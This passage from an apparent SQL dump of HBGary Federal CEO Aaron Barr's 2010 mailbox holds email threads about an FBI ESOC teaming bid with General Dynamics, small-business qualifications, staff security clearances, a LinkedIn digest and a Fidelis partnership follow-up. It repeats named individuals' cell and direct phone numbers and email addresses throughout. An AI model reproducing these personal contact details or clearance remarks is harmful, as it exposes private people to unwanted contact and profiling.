Lemke\r\n\r\nSenior Manager Business\r\nDevelopment\r\n\r\nGeneral Dynamics Advanced\r\nInformation Systems\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8028,'aaron_hbgary_com/8028.html'),(6482,'2010-05-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004650.M494463P14101Q1337.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: FBI ESOC Teaming','Sent from my iPadBegin forwarded message:From: &quot;Lemke, Michelle R.&quot; &lt;Michelle.Lemke@gd-ais.com&gt;\r\nDate: May 19, 2010 6:55:47 PM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: FBI ESOC Teaming\r\n\r\n\r\n\r\n\r\nGive me you Contracts and Technical POC and we’ll get an NDA\r\ngoing .  Also, what are your small business quals? \r\n\r\n \r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business Development\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\nBB  703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, May 19, 2010 4:58 PM\r\nTo: Lemke, Michelle R.\r\nSubject: Re: FBI ESOC Teaming\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nMichelle,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWe have strong discriminators in Task 3 and 5.  Strong\r\nmalware analysis and threat intelligence is a high skillset business, which\r\nmakes it hard to meet the quals in the salaries you are targeting, but our\r\ntools make this process a lot easier.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBecause of our capabilities in Task 3 and 5 we can also provide\r\nservice in Task 2, 4, and 6 which are not as high skilled functions.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn May 17, 2010, at 8:41 PM, Lemke, Michelle R. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI Aaron, can you call me? I’d like to talk to you about your\r\ncompany.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks, Michelle\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\n\r\n\r\n\r\n\r\nSenior Manager Business Development\r\n\r\n\r\n\r\n\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\n\r\n\r\n\r\n\r\nBB  703-946-1495\r\n\r\n\r\n\r\n\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Harlow, Douglas M. \r\n\r\nSent: Monday, May 17, 2010\r\n8:32 PM\r\nTo: &#39;Aaron Barr&#39;; Lemke,\r\nMichelle R.\r\nSubject: FBI ESOC Teaming\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nI’d like to introduce you to our capture manager for this\r\neffort, Michelle Lemke.\r\n\r\n\r\n\r\n\r\n\r\nWe’re still strategizing our sub and team mates and she’ll want\r\nto talk with you.\r\n\r\n\r\n\r\n\r\n\r\nDoug\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHere’s here contact info:\r\n\r\n\r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\n\r\n\r\n\r\n\r\nSenior Manager Business Development\r\n\r\n\r\n\r\n\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\n\r\n\r\n\r\n\r\nBB  703-946-1495\r\n\r\n\r\n\r\n\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Harlow, Douglas M. \r\n\r\nSent: Monday, May 17, 2010\r\n6:52 PM\r\nTo: Aaron Barr\r\nSubject: FW: EmeSec Small\r\nBusiness\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nDo you have anything like the  attached products for HBGary\r\n?\r\n\r\n\r\n\r\n\r\n\r\nWe’re trying to form our small business plan in real time and\r\nwant the best team mates – if interested.\r\n\r\n\r\n\r\n\r\n\r\nDoug\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Lemke, Michelle R. \r\n\r\nSent: Monday, May 17, 2010\r\n5:27 PM\r\nTo: Harlow, Douglas M.\r\nSubject: FW: EmeSec Small\r\nBusiness\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBounce this against your small business.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\n\r\n\r\n\r\n\r\nSenior Manager Business Development\r\n\r\n\r\n\r\n\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\n\r\n\r\n\r\n\r\nBB  703-946-1495\r\n\r\n\r\n\r\n\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bill Lillard\r\n[mailto:blillard@emesec.net] \r\nSent: Monday, May 17, 2010\r\n4:57 PM\r\nTo: Lemke, Michelle R.\r\nCc: Finn, Rick L.; Grayson\r\n&quot;Barney&quot; Koogle; Maria Horton\r\nSubject: EmeSec Small\r\nBusiness\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMichelle.  Here are the documents we spoke of\r\nearlier.  Please let me know if we can be of help to your effort.  R/Bill\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Maria Horton \r\n\r\nSent: Monday, May 17, 2010\r\n4:34 PM\r\nTo: Lemke, Michelle R.\r\nCc: Finn, Rick L.; Bill\r\nLillard; Grayson &quot;Barney&quot; Koogle\r\nSubject: EmeSec Small\r\nBusiness\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMichelle,\r\n\r\n\r\n\r\n\r\n\r\nRick Finn called me to say hello and ask if I would contact you.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIt appears that you are seeking a particular Small\r\nBusiness.  It looks like a bid/last minute need.\r\n\r\n\r\n\r\n\r\n\r\nPlease provide some information on how we might help.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI have included VP of Business Development and VP of Operations\r\non this note.\r\n\r\n\r\n\r\n\r\n\r\nMaria Horton\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMaria C. Horton, CISSP-ISSMP, IAM\r\n\r\n\r\n\r\n\r\n\r\nDirect: 703.956.3037\r\n\r\n\r\n\r\n\r\n\r\nCell:     703.969.2382\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Finn, Rick L.\r\n[mailto:rick.finn@gd-ais.com] \r\nSent: Monday, May 17, 2010\r\n2:35 PM\r\nTo: Lemke, Michelle R.;\r\nMaria Horton\r\nSubject: RE: small business\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nMichelle-here’s\r\nthe company and Maria is on the email.\r\n\r\nEmeSec Incorporated ::\r\nInformation Assurance\r\n\r\nService Disabled Veteran, Woman Owned, 8(a), Small Business EmeSec Incorporated :: 1818 Library Street, Suite 500, Reston, Virginia\r\n20190 :: 703.956.3036\r\n\r\n \r\n\r\nRick\r\nFinn, PMP\r\nDirector\r\nCritical Infrastructure Protection Solutions/DHS Programs\r\nGENERAL DYNAMICS - AIS\r\nWork - 703-277-1749\r\nCell - 703-597-9613\r\nBB - 571-218-9948\r\n\r\n_____________________________________________\r\nFrom: Lemke, Michelle R.\r\nSent: Monday, May 17, 2010\r\n2:06 PM\r\nTo: Finn, Rick L.\r\nSubject: small business\r\n\r\nRick, I need small\r\ndisadvantaged, Woman-owned small, Hubzone, or Service Disabled Vet owned….if\r\nyou have any that fit 2 of the categories that would be even better.\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business\r\nDevelopment\r\n\r\nGeneral Dynamics Advanced\r\nInformation Systems\r\n\r\nBB  703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13357,'aaron_hbgary_com/13357.html'),(6483,'2010-05-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004650.M769817P14101Q1338.eml','\"Lemke, Michelle R.\" <Michelle.Lemke@gd-ais.com>','Re: FBI ESOC Teaming','Small business quals are woman and veteran owned.719.510.8478Sent from my iPadOn May 19, 2010, at 7:14 PM, &quot;Lemke, Michelle R.&quot; &lt;Michelle.Lemke@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nArron, can you please send my your company small business quals?\r\nThen call me or send me your phone number. \r\n\r\n \r\n\r\nMichelle\r\n\r\n \r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business Development\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\nBB  703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, May 19, 2010 4:58 PM\r\nTo: Lemke, Michelle R.\r\nSubject: Re: FBI ESOC Teaming\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nMichelle,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWe have strong discriminators in Task 3 and 5.  Strong\r\nmalware analysis and threat intelligence is a high skillset business, which\r\nmakes it hard to meet the quals in the salaries you are targeting, but our\r\ntools make this process a lot easier.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBecause of our capabilities in Task 3 and 5 we can also\r\nprovide service in Task 2, 4, and 6 which are not as high skilled functions.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn May 17, 2010, at 8:41 PM, Lemke, Michelle R. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI Aaron, can you call me? I’d like to talk to you about your\r\ncompany.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks, Michelle\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\n\r\n\r\n\r\n\r\nSenior Manager Business Development\r\n\r\n\r\n\r\n\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\n\r\n\r\n\r\n\r\nBB  703-946-1495\r\n\r\n\r\n\r\n\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Harlow, Douglas M. \r\n\r\nSent: Monday, May 17, 2010\r\n8:32 PM\r\nTo: &#39;Aaron Barr&#39;; Lemke, Michelle\r\nR.\r\nSubject: FBI ESOC Teaming\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nI’d like to introduce you to our capture manager for this\r\neffort, Michelle Lemke.\r\n\r\n\r\n\r\n\r\n\r\nWe’re still strategizing our sub and team mates and she’ll want\r\nto talk with you.\r\n\r\n\r\n\r\n\r\n\r\nDoug\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHere’s here contact info:\r\n\r\n\r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\n\r\n\r\n\r\n\r\nSenior Manager Business Development\r\n\r\n\r\n\r\n\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\n\r\n\r\n\r\n\r\nBB  703-946-1495\r\n\r\n\r\n\r\n\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Harlow, Douglas M. \r\n\r\nSent: Monday, May 17, 2010\r\n6:52 PM\r\nTo: Aaron Barr\r\nSubject: FW: EmeSec Small\r\nBusiness\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nDo you have anything like the  attached products for HBGary\r\n?\r\n\r\n\r\n\r\n\r\n\r\nWe’re trying to form our small business plan in real time and\r\nwant the best team mates – if interested.\r\n\r\n\r\n\r\n\r\n\r\nDoug\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Lemke, Michelle R. \r\n\r\nSent: Monday, May 17, 2010\r\n5:27 PM\r\nTo: Harlow, Douglas M.\r\nSubject: FW: EmeSec Small\r\nBusiness\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBounce this against your small business.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\n\r\n\r\n\r\n\r\nSenior Manager Business Development\r\n\r\n\r\n\r\n\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\n\r\n\r\n\r\n\r\nBB  703-946-1495\r\n\r\n\r\n\r\n\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bill Lillard\r\n[mailto:blillard@emesec.net] \r\nSent: Monday, May 17, 2010\r\n4:57 PM\r\nTo: Lemke, Michelle R.\r\nCc: Finn, Rick L.; Grayson\r\n&quot;Barney&quot; Koogle; Maria Horton\r\nSubject: EmeSec Small\r\nBusiness\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMichelle.  Here are the documents we spoke of\r\nearlier.  Please let me know if we can be of help to your effort. \r\nR/Bill\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Maria Horton \r\n\r\nSent: Monday, May 17, 2010\r\n4:34 PM\r\nTo: Lemke, Michelle R.\r\nCc: Finn, Rick L.; Bill\r\nLillard; Grayson &quot;Barney&quot; Koogle\r\nSubject: EmeSec Small\r\nBusiness\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMichelle,\r\n\r\n\r\n\r\n\r\n\r\nRick Finn called me to say hello and ask if I would contact you.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIt appears that you are seeking a particular Small\r\nBusiness.  It looks like a bid/last minute need.\r\n\r\n\r\n\r\n\r\n\r\nPlease provide some information on how we might help.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI have included VP of Business Development and VP of Operations\r\non this note.\r\n\r\n\r\n\r\n\r\n\r\nMaria Horton\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMaria C. Horton, CISSP-ISSMP, IAM\r\n\r\n\r\n\r\n\r\n\r\nDirect: 703.956.3037\r\n\r\n\r\n\r\n\r\n\r\nCell:     703.969.2382\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Finn, Rick L.\r\n[mailto:rick.finn@gd-ais.com] \r\nSent: Monday, May 17, 2010\r\n2:35 PM\r\nTo: Lemke, Michelle R.;\r\nMaria Horton\r\nSubject: RE: small business\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nMichelle-here’s\r\nthe company and Maria is on the email.\r\n\r\nEmeSec Incorporated ::\r\nInformation Assurance\r\n\r\nService Disabled Veteran, Woman Owned, 8(a), Small Business EmeSec Incorporated :: 1818 Library Street, Suite 500, Reston, Virginia\r\n20190 :: 703.956.3036\r\n\r\n \r\n\r\nRick\r\nFinn, PMP\r\nDirector\r\nCritical Infrastructure Protection Solutions/DHS Programs\r\nGENERAL DYNAMICS - AIS\r\nWork - 703-277-1749\r\nCell - 703-597-9613\r\nBB - 571-218-9948\r\n\r\n_____________________________________________\r\nFrom: Lemke, Michelle R.\r\nSent: Monday, May 17, 2010\r\n2:06 PM\r\nTo: Finn, Rick L.\r\nSubject: small business\r\n\r\nRick, I need small\r\ndisadvantaged, Woman-owned small, Hubzone, or Service Disabled Vet owned….if\r\nyou have any that fit 2 of the categories that would be even better.\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business\r\nDevelopment\r\n\r\nGeneral Dynamics Advanced\r\nInformation Systems\r\n\r\nBB  703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9602,'aaron_hbgary_com/9602.html'),(6484,'2010-05-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004651.M292943P14101Q1340.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>,\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>','Clearances','Hey chris.  I don\'t know how deep the well is but Eric Hallam just\r\njoined TASC.  He was the \"accountant\" i was telling you about.  He\r\nknows a lot about the customer initiatives of recent.  Also mark\r\nTrynor which is our guy that was a lead software developer and managed\r\nthe development of many of the technical projects.  Ted said he will\r\nget his sf86 done this week. :)\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',14865,'aaron_hbgary_com/14865.html'),(6485,'2010-05-20','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297004651.M45253P14101Q1339.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,joe@hbgary.com,\"Mike Spohn\" <mike@hbgary.com>','New extension List','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nRevised today.\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13192,'aaron_hbgary_com/13192.html'),(6486,'2010-05-20','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004651.M534661P14101Q1341.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Clearances','\r\n\r\n\r\n\r\n\r\nRE: Clearances\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\nI believe we can pass some additional clearances through.&nbsp; I will see my COTR on Monday and can ask.&nbsp; We\'ll see what we can get.&nbsp; Should I add Eric onto the COIN meetings?&nbsp; It\'s real easy as no NDA is needed.&nbsp; Is Mark part of your company too?\r\n\r\nLet me know.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wed 5/19/2010 8:29 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Ted Vera\r\nSubject: Clearances\r\n\r\nHey chris.&nbsp; I don\'t know how deep the well is but Eric Hallam just\r\njoined TASC.&nbsp; He was the &quot;accountant&quot; i was telling you about.&nbsp; He\r\nknows a lot about the customer initiatives of recent.&nbsp; Also mark\r\nTrynor which is our guy that was a lead software developer and managed\r\nthe development of many of the technical projects.&nbsp; Ted said he will\r\nget his sf86 done this week. :)\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n',9766,'aaron_hbgary_com/9766.html'),(6487,'2010-05-20','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297004651.M899187P14101Q1342.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 5/19/2010','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    May 12 - May 19\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n                        Gary Elliott, M.S., PMP, NSA 4011 became Einstein Grid Computing Searcher at University of Wisconsin Milwaukee in December 2009\r\n                  Send note &#187;\r\n            \r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Gary Elliott, M.S., PMP, NSA 4011 has an updated profile (Experience)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                    Mohannad H. Gomaa, MBA PMP FE has an updated current title: Supply Chain Manager - Associate at Booz Allen Hamilton\r\n                  Send note &#187;\r\n            \r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Es Letsche\r\n    is now connected to\r\n        Walter Whitesides\r\n              \r\n            \r\n            \r\n              \r\n\r\n  penny hoglund\r\nis now connected to\r\n            Bob Goodnow\r\n,             Lisa McGrath\r\n             and \r\n            Terry Van Roekel\r\n             \r\n              \r\n            \r\n            \r\n              \r\n\r\n  Chris Collins\r\nis now connected to\r\n            Jules Kwan\r\n             and \r\n            Barnaby Smith\r\n             \r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    POSTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Irving Lachow\r\nYesterday: great mtg with CIO of CBP and his Chiliad team. Impressive!  Today, mtgs with Symantec and OSD(Policy).  Tomorrow: BENS event.      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Chris Collins\r\nslides/visual cues for my #fcvw #gov20 workshop last week. http://bit.ly/d5KEh7 . Great conference!      \r\n      2 comments\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Shane Shook\r\nHave to love this:  http://lnkd.in/CB3tKS      \r\n      2 comments\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n    \r\n  \r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Abe Usher has joined\r\n    Predictors\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Curtis Kent has joined\r\n    Secure Digital Wireless Communications\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    PHOTOS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n  Mohannad H. Gomaa, MBA PMP FE has uploaded a new profile picture\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n  Chris Rouland has uploaded a new profile picture\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Mark Leary recommends\r\ncolleague      Floyd Crumble\r\n          Manager, Information Security at Northrop Grumman Information Technology\r\n        Floyd was critical to the success of the NGC information security team through a period of great cha...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Joshua Fugate recommends\r\ncolleague      Aaron Barr\r\n          Program Manager at Northrop Grumman Information Technology\r\n        Aaron has that star quality that the most successful businesspeople all seem to share. It\'s not a qu...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n      Joshua Fugate was recommended by\r\ncolleague      Aaron Barr\r\n        I hired Josh as an intelligence analyst, yet he ended up doing flash and new media development (skil...\r\n        Read more\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    APPLICATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Michael J Staggs\r\n                  \r\n                     recommends \r\n                  \r\n                    What Every BODY is Saying: An Ex-FBI Agent\'s Guide to Speed-Reading People\r\n                   \r\n                          \r\n            \r\n            \r\n              \r\n\r\n                  \r\n                    Michael J Staggs\r\n                  \r\n                     recommends \r\n                  \r\n                    Natural Beekeeping: Organic Approaches to Modern Apiculture\r\n                   \r\n                          \r\n            \r\n            \r\n              \r\n\r\n                  \r\n                    Michael J Staggs\r\n                  \r\n                     recommends \r\n                  \r\n                    Lords of the Sea: The Epic Story of the Athenian Navy and the Birth of Democracy\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n    \r\n  \r\n\r\n\r\n',11987,'aaron_hbgary_com/11987.html'),(6488,'2010-05-20','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297004657.M858017P14101Q1343.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fidelis follow up from today','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m rallying the troops internally to support making what\r\nI&#8217;ll call &#8220;Scout + leave behind&#8221; happen.&nbsp; I should have a\r\nmessage with all of the details to you tomorrow.&nbsp; \r\n\r\n&nbsp;\r\n\r\nIn the interim, we should sort of if we need to get a partner\r\nagreement in place specific to HB Gary Federal.&nbsp; If HB Gary, Inc doesn&#8217;t\r\nvoting control and majority ownership, we probably do.&nbsp; I&#8217;ve\r\nattached our NDA and partnership agreement, as well as the signed copy of the\r\npartner agreement with HB Gary, Inc for your reference.&nbsp; (If you could\r\nchange the agreement to reflect the legal name for HB Gary Federal.&nbsp; I&#8217;m\r\nrecalling HB Gary Federal, LLC, but not positive&#8230;)&nbsp; Once we have\r\nthis, it&#8217;s easy to get you the VMs.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAs I mentioned, here is a blog post that is going out tomorrow\r\non the social networking stuff - http://www.fidelissecurity.com/node/193,\r\nand I also attached the white paper.&nbsp; It briefly touches on the\r\ninteresting conversation we were having when I had to run to catch my 3 PM\r\nmeeting.&nbsp; There should be a eBizQ podcast and FCW op-ed piece up this week\r\ntoo.\r\n\r\n&nbsp;\r\n\r\nFinally, this is the follow up articles to the cyber 